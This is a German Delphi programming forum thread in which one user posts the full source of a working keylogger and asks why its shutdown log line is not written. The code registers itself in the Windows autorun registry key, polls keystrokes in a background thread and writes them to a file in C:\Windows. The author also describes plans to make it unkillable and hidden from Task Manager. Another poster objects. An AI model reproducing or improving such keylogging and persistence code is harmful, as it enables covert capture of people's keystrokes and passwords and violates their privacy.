| Autor |
Beitrag |
F34r0fTh3D4rk 
      
Beiträge: 5284
Erhaltene Danke: 27
Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
|
Verfasst: Di 15.02.05 21:07
weil du ein formular angezeigt hast?
mach mal application.showmainform:= false;
hier mal mein gesamter code:
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54: 55: 56: 57: 58: 59: 60: 61: 62: 63: 64: 65: 66: 67: 68: 69: 70: 71: 72: 73: 74: 75: 76: 77: 78: 79: 80: 81: 82: 83: 84: 85: 86: 87: 88: 89: 90: 91:
| unit UMain;
interface
uses Windows, SysUtils, Forms, Registry;
type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean); private
public
end;
var Form1: TForm1; f: file of byte;
implementation
{$R *.dfm} procedure RegisterAutorun; var Reg: TRegistry; begin Reg := TRegistry.create; try Reg.RootKey := HKEY_LOCAL_MACHINE; Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True); Reg.WriteString('keylog', paramstr(0)); finally Reg.Free; end; end;
procedure keylogger; var i: byte; begin while true do begin for i := 48 to 90 do if boolean(getasynckeystate(i)) then write(f,i); sleep(10); end; end;
procedure TForm1.FormCreate(Sender: TObject); var tid: cardinal; tf, b: string; i, ch: byte; begin RegisterAutorun; tf:= 'C:\Windows\' + datetostr(now) + '.log'; assignfile(f, tf); if fileexists(tf) then begin reset(f); seek(f, filesize(f)); end else rewrite(f); b:= ' [Started Logging at ' + timetostr(now) +'] '; for i:= 1 to length(b) do begin ch:= ord(b[i]); write(f,ch); end; createthread(nil,0,@keylogger,nil,0,tid); end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean); var b: string; i, ch: byte; begin b:= ' [Stopped Logging at ' + timetostr(now) +'] '; for i:= 1 to length(b) do begin ch:= ord(b[i]); write(f,ch); end; closefile(f); end;
end. |
ich starte das prog und beende es nd die txt sieht so aus:
Quelltext 1:
| [Started Logging at 'UHRZEIT'] |
danach folgt nicht, wie erwartet:
Quelltext 1:
| [Stopped Logging at 'UHRZEIT'] |

|
|
Sprint
      
Beiträge: 849
|
Verfasst: Di 15.02.05 21:20
| F34r0fTh3D4rk hat folgendes geschrieben: | weil du ein formular angezeigt hast?
mach mal application.showmainform:= false; |
Habe ShowMainForm := False unter Windows 95 & Windows NT 4 mit Delphi 3 getestet. OnCloseQuery wird aufgerufen und OnClose nicht. Leider kann ich meine Workstation jetzt nicht runterfahre, sonst hätte ich es auch noch unter Windows XP mit Delphi 5 getestet.
Hat das einen Grund, das du Uraltfunktion wie AssignFile benutzt? Und warum benutzt du nicht die Klasse TThread?
_________________ Ciao, Sprint.
|
|
F34r0fTh3D4rk 
      
Beiträge: 5284
Erhaltene Danke: 27
Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
|
Verfasst: Di 15.02.05 21:21
das muss doch auch testbar sein, wenn man das mit programm zurücksetzen testet oder ?
|
|
Sprint
      
Beiträge: 849
|
Verfasst: Di 15.02.05 21:24
Kannst das "Windows beenden" ja simulieren, in dem du eine WM_QUERYENDSESSION sendest.
_________________ Ciao, Sprint.
|
|
F34r0fTh3D4rk 
      
Beiträge: 5284
Erhaltene Danke: 27
Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
|
Verfasst: Di 15.02.05 21:27
nach dem rebooten geht es, aber mit welcher msg beendet delphi denn das programm, oder wird das einfach gekillt, wie beim taskmanager ? (eigentlich soll das programm ja unbeendlich sein, halt nur vom hautprogramm  )
ok mitm reboot funzt es  nur darf mein prog dann nicht anders beendet werden
man müsste eine eigene message definieren, die man halt an das programm schickt und nur dann wird es beendet und im taskmanager darf es denn ja garnet angezeigt werden und aus der registry rausnehmen kann mans ja auch noch ...
freeware alternativen zu teurer software zu schreiben ist mühsehlig
Moderiert von Christian S.: Beiträge zusammengefasst
|
|
Luckie
Ehemaliges Mitglied
Erhaltene Danke: 1
|
Verfasst: Di 15.02.05 21:31
| F34r0fTh3D4rk hat folgendes geschrieben: | ok mitm reboot funzt es nur darf mein prog dann nicht anders beendet werden  |
Warum denn das? auf meinem Rechner bestimme immer noch ich, was läuft, was nicht läuft und wann (Betriebssystem mal ausgenommen.). Und da hat mit kein Programmierer was vorzuschreiben.
|
|
Sprint
      
Beiträge: 849
|
Verfasst: Di 15.02.05 21:50
| F34r0fTh3D4rk hat folgendes geschrieben: | | nach dem rebooten geht es, aber mit welcher msg beendet delphi denn das programm, oder wird das einfach gekillt, wie beim taskmanager ? (eigentlich soll das programm ja unbeendlich sein, halt nur vom hautprogramm |
Hab ich doch schon geschrieben. Ließt du hier eigentlich?
_________________ Ciao, Sprint.
|
|
F34r0fTh3D4rk 
      
Beiträge: 5284
Erhaltene Danke: 27
Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
|
Verfasst: Mi 16.02.05 18:22
| Zitat: |
Warum denn das? auf meinem Rechner bestimme immer noch ich, was läuft, was nicht läuft und wann (Betriebssystem mal ausgenommen.). Und da hat mit kein Programmierer was vorzuschreiben.
|
Dem User gehört in diesem Falle nicht der PC, er soll überwacht werden!
Am Anfang kommt so ein Popup, dieser PC wird überwacht ...
|
|
delfiphan
      
Beiträge: 2684
Erhaltene Danke: 32
|
Verfasst: Mi 16.02.05 18:44
Titel: beenden?
Wie beendest du das Programm? Mit "halt;" geht es natürlich nicht! Versuch mal "close;". Wenn das Programm nicht sauber geschlossen werden kann, wird OnClose natürlich nicht aufgerufen. -- Edit: Sorry, hatte nicht alle Seiten nachgelesen. Du beendest das Programm gar nicht selbst.
|
|
|